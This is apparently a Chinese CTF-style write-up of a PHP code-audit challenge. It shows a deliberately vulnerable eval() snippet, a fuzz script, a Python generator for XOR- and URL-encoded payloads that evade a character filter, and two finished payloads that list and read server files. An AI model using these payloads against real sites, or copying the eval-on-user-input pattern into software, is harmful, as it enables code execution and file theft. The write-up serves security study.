溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何看待php與bypass

發(fā)布時間:2021-10-11 10:43:53 來源:億速云 閱讀:128 作者:柒染 欄目:網(wǎng)絡(luò)管理

如何看待php與bypass,針對這個問題,這篇文章詳細(xì)介紹了相對應(yīng)的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

Tags: [php代碼審計, bypass]

代碼如下

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

代碼分析

前面的那個正則過濾大概就是過濾了下面的這些字符,借鑒師傅博客

\x00- 0-9                       匹配\x00到空格(\x20),0-9的數(shù)字
'"`$&.,|[{_defgops              匹配這些字符
\x7F                            匹配DEL(\x7F)字符

而下面的這個if語句實現(xiàn)的效果是,所傳入的變量里面的所有不同的字符的個數(shù)不能超過十六進制的0xd也就是十進制的13,就是payload里面所有字符的總數(shù)不能超過13個就可了。

bypass

fuzz可用方法

然后就是如何bypass了,這里可以看到并沒有過濾到^,~這兩個字符,所以可以使用取反繞過試一試,

但是一般情況下可以先寫個腳本看看還有那些函數(shù)是可以用的。php可用方法fuzz腳本

<?php
$array=get_defined_functions();//返回所有內(nèi)置定義函數(shù)
foreach($array['internal'] as $arr){   //遍歷所有方法
if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
print($arr.'<br/>');
}

所的結(jié)果如下

rtrim
trim
ltrim
chr
link
unlink
tan
atan
atanh
tanh
intval
mail
min
max

雖然這里沒什么能用的,但是這個fuzz的腳本還是很有啟發(fā)性的,遇到bypass的時候可以先用這樣的腳本試一試是不是能夠直接用某些危險方法。

異或+url編碼bypass

這里直接使用取反的那個操作,下面是代碼。

<?php
$a = urlencode(~'phpinfo');
echo($a);

如何看待php與bypass

雖然出來了,但是其實沒啥用,因為phpinfo();本來的字符數(shù)就沒有超過13個,接下來就是縮短字符數(shù)與看未被禁用的函數(shù)了,下面是被disabled的方法

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,

我就認(rèn)識三個可以命令執(zhí)行的方法,但是沒過濾掃目錄的函數(shù)scandir(),還有讀文件的函數(shù)readfile(),還有打印變量信息的函數(shù)var_dump(),我借鑒的那個wp里面用的是用多次使用^()來異或的方式,這里我也這么做,但是條條大路通羅馬,肯定還有不少其他方法,這里就不復(fù)現(xiàn)了,遇到了再說吧。

bypass腳本實現(xiàn)

這里我們想傳入的變量信息是這樣的

print_r(scandir('.'));

可以看看有多少個字符

<?php
$s = "print_r(scandir('.'));";
$a = strlen(count_chars(strtolower($s), 0x3));
echo($a);

如何看待php與bypass

表面上是15個字符,但是其實還有^也要用,就是16個了,參考腳本

result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c]  # to be deleted
temp = []
for d in result2:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if a == b == c == d:
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
if d not in temp:
temp.append(d)
print(len(temp), temp)

這個就是用幾個有的替代要刪掉的就行。然后還有個跟%ff異或的問題,就是一個字符的十六進制形式與0xff進行兩次異或之后還是原來的字符,而與0xff(int值為255)進行一次異或之后一般是ascii碼值大于128的不可見字符,然后^字符不會被過濾的話,就能實現(xiàn)bypass,所以根據(jù)這個原理有下面的生成payload的腳本(借鑒了一些之后原創(chuàng)的嗷,就是沒實現(xiàn)自動化生成payload,要手動添加)

# -*- coding: utf-8 -*-#
# -------------------------------------------------------------------------------
# Name:         ctf
# Description:  復(fù)現(xiàn)腳本
# Author:       M4XLMUM
# Date:         2021/4/12
# -------------------------------------------------------------------------------
import operator
# s = ['print_r', 'scandir', '.']  # 更換成為想要的字符串
s = ['readfile', 'end', 'scandir', '.']  # 更換成為想要的字符串

ans = {}
pattern = []
s2 = ''    # 需要進行替換的字符, 假設(shè)只對出現(xiàn)一次的字符串進行替換。


# 統(tǒng)計s列表中的字符的出現(xiàn)次數(shù)
for j in ''.join(s):
ans[j] = ''.join(s).count(j)


for i in ans.keys():
ans[i] = hex(int(hex(ord(i)), 16) ^ 0xff).replace('0x', '%')

keys = ans.keys()
for i in keys:
for j in keys:
for k in keys:
for m in keys:
if ord(j) ^ ord(k) ^ ord(m) == ord(i):
if j == k or j == m or m == k:
continue
else:
flag = 1
for temp in pattern:
if i in temp and j in temp and k in temp and m in temp:
flag = 0
if flag:
pattern.append(i+j+k+m)

'''經(jīng)測試,此塊無用geigeigei
# 對幾對一組的字符串中字符出現(xiàn)次數(shù)進行排序,并找出需要進行替換的字符`s2`
temp = {}
for i in ''.join(pattern):
npattern[i] = ''.join(pattern).count(i)
# npattern = sorted(temp.items(), key=operator.itemgetter(1))
for i in npattern:
if npattern[i] == 1:
s2 += i
# %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
'''

print(pattern)  # 打印出pattern之后自己識別需要替換哪一個字符。
'''
懶得寫自動化腳本了,我的小腦子想不太出來
這里的四個字符組成一組的原理實際上就是采用了異或計算的性質(zhì),即四個字符中,如果任意三個字符的異或等于另一個,那么這四個字符中任意三個的異或等于另一個字符。
這里的結(jié)果是:['prca', 'ints', 'incd', 'tscd']
那需要替換的可以是:p == r^c^a, i == n^c^d, t == s^c^d
'''
# 替換字符為十六進制的形式
# temp = {'p': 'rca', 'i': 'ncd', 't': 'scd'}
temp = {'r': 'eds', 'a': 'dfc', 'd': 'fln', 'i': 'flc'}
rtable = {}   # 需要進行替換的表(已轉(zhuǎn)為十六進制)
for i in temp:
tempkey = hex(int(hex(ord(i)), 16) ^ 0xff).replace('0x', '%')
tempvalue = ''
for k in temp[i]:
tempvalue += hex(int(hex(ord(k)), 16) ^ 0xff).replace('0x', '%')
rtable[tempkey] = tempvalue


for i in s:
temp1 = ''
temp2 = ''
temp3 = ''
temp4 = ''
for j in i:
temp0 = hex(int(hex(ord(j)), 16) ^ 0xff).replace('0x', '%')
if temp0 in rtable:
temp1 += rtable[temp0][:3]
temp2 += rtable[temp0][3:6]
temp3 += rtable[temp0][6:9]
temp4 += '%ff'
else:
temp1 += temp0
temp2 += '%ff'
temp3 += '%ff'
temp4 += '%ff'
payload = '(' + temp1 + ')^(' + temp2 + ')^(' + temp3 + ')^(' + temp4 + ')'
print(payload)
# payload1: print_r(scandir(.));
# payload1: (print_r)((scandir)(.));
# payload1: ((%8d%8d%91%91%8c%a0%8d)^(%9c%ff%9c%ff%9c%ff%ff)^(%9e%ff%9b%ff%9b%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%91%8d)^(%ff%ff%ff%ff%ff%9c%ff)^(%ff%ff%ff%ff%ff%9b%ff)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff)));

# payload2: readfile(end(scandir(.)));
# payload2: (readfile)((end)((scandir)(.)));
# payload2: ((%9a%9a%9b%99%99%99%93%9a)^(%9b%ff%99%93%ff%93%ff%ff)^(%8c%ff%9c%91%ff%9c%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%9a%91%99)^(%ff%ff%93)^(%ff%ff%91)^(%ff%ff%ff))(((%8c%9c%9b%91%99%99%9a)^(%ff%ff%99%ff%93%93%9b)^(%ff%ff%9c%ff%91%9c%8c)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff))));

'''
上面的payload之所以多加了許多括號是因為要防止異或之后連在一起,反正加個括號也不多的樣子
'''

故可總結(jié)payload如下

# payload1: print_r(scandir(.));
# payload1: (print_r)((scandir)(.));
# payload1: ((%8d%8d%91%91%8c%a0%8d)^(%9c%ff%9c%ff%9c%ff%ff)^(%9e%ff%9b%ff%9b%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%91%8d)^(%ff%ff%ff%ff%ff%9c%ff)^(%ff%ff%ff%ff%ff%9b%ff)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff)));

# payload2: readfile(end(scandir(.)));
# payload2: (readfile)((end)((scandir)(.)));
# payload2: ((%9a%9a%9b%99%99%99%93%9a)^(%9b%ff%99%93%ff%93%ff%ff)^(%8c%ff%9c%91%ff%9c%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%9a%91%99)^(%ff%ff%93)^(%ff%ff%91)^(%ff%ff%ff))(((%8c%9c%9b%91%99%99%9a)^(%ff%ff%99%ff%93%93%9b)^(%ff%ff%9c%ff%91%9c%8c)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff))));

第一個payload暴露出當(dāng)前路徑下的文件,第二個payload讀當(dāng)前路徑下的最后一個文件。

bypass原理

上面的腳本的bypass的原理可以分成兩個來說

首先,異或繞過

這個很簡單,就是使用payload的十六進制與0xff進行異或(并將結(jié)果的0x換為%),因為異或計算的性質(zhì),一個十六進制與0xff``(這里的0xff實際上可以是任何的其他值應(yīng)該)進行兩次異或之后等于原來的值。

其次,字符限制繞過

這個操作上是將payload的字符串里面的字符替換為本來字符串內(nèi)還有的其他的字符串的值的異或,例如payload為print_r(scandir(.));時,有下面的等價關(guān)系p == r^c^a, i == n^c^d, t == s^c^d,就這樣替換。

再從異或?qū)用娼忉屧砭褪?,一個字符的十六進制與0xff進行四次異或之后還是它本身,總之就是偶數(shù)次異或之后一定等于原來的字符。

關(guān)于如何看待php與bypass問題的解答就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI